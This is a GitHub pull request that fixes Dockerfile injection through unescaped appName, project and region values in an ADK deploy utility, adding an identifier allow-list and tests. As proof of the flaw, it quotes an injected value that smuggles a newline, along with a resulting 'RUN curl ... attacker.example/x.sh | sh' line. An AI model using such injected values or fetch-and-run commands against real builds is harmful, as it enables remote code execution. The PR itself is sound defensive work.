Skip to content

fix(deploy): reject unsafe appName/project/region in generated Dockerfile - #604

Open
herdiyana256 wants to merge 1 commit into
google:mainfrom
herdiyana256:fix/dockerfile-injection-via-unescaped-deploy-values
Open

fix(deploy): reject unsafe appName/project/region in generated Dockerfile#604
herdiyana256 wants to merge 1 commit into
google:mainfrom
herdiyana256:fix/dockerfile-injection-via-unescaped-deploy-values

Conversation

@herdiyana256

Copy link
Copy Markdown
Contributor

createDockerFileContent (dev/src/cli/deploy/deploy_utils.ts, shared by both adk deploy cloud_run and adk deploy agent_engine) interpolates options.appName, options.project, and options.region directly into the generated Dockerfile's ENV, COPY, and CMD instructions with no escaping.

Dockerfile instructions are newline-delimited, and the generated CMD line runs through /bin/sh -c at container start, so a value containing a newline or shell metacharacters breaks out of its instruction. appName is derived by default from the basename of the agent path passed to the deploy command (path.parse(agentPath).name / path.basename(agentPath)), only overridden by an explicit --app_name flag — so a maliciously-named agent directory or file (e.g. from a shared or cloned agent template a developer did not author themselves) injects arbitrary Dockerfile instructions executed during docker build, and/or arbitrary shell commands into the deployed container's CMD.

Confirmed by executing createDockerFileContent directly: an appName of x"\nRUN curl https://attacker.example/x.sh | sh\n# produced a Dockerfile containing that RUN as its own standalone instruction.

COPY --chown=myuser:myuser "agents/myagent"
RUN curl -s https://attacker.example/x.sh | sh
#/" "/app/agents/myagent"
...

Fix: add assertSafeDockerfileToken, restricting appName/project/region to a plain identifier (letters, digits, dot, dash, underscore) before they're embedded in the Dockerfile content, applied once at the top of the shared createDockerFileContent so both deploy commands are covered by a single check. Existing valid values (project IDs, regions, agent names) are unaffected. Adds regression tests for the injection attempt and for values using dots/dashes/underscores.

…file

createDockerFileContent interpolated options.appName, options.project, and
options.region directly into the generated Dockerfile's ENV, COPY, and CMD
instructions with no escaping. Since Dockerfile instructions are newline-
delimited and the CMD line runs through /bin/sh at container start, a value
containing a newline or shell metacharacters breaks out of its instruction:
appName is derived by default from the basename of the agent path passed to
`adk deploy cloud_run`/`adk deploy agent_engine` (only overridden by an
explicit --app_name), so a maliciously-named agent directory or file — e.g.
from a shared/cloned agent template a developer didn't author themselves —
injects arbitrary Dockerfile instructions executed during `docker build`
and/or arbitrary shell commands in the deployed container's CMD.

Add assertSafeDockerfileToken, restricting these three values to a plain
identifier (letters, digits, dot, dash, underscore) before they're ever
embedded in the Dockerfile content, applied once in the shared
createDockerFileContent so both deploy commands are covered. Confirmed by
executing the function directly: a crafted appName previously produced a
Dockerfile with a standalone injected RUN instruction; it's now rejected
before any file is written.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant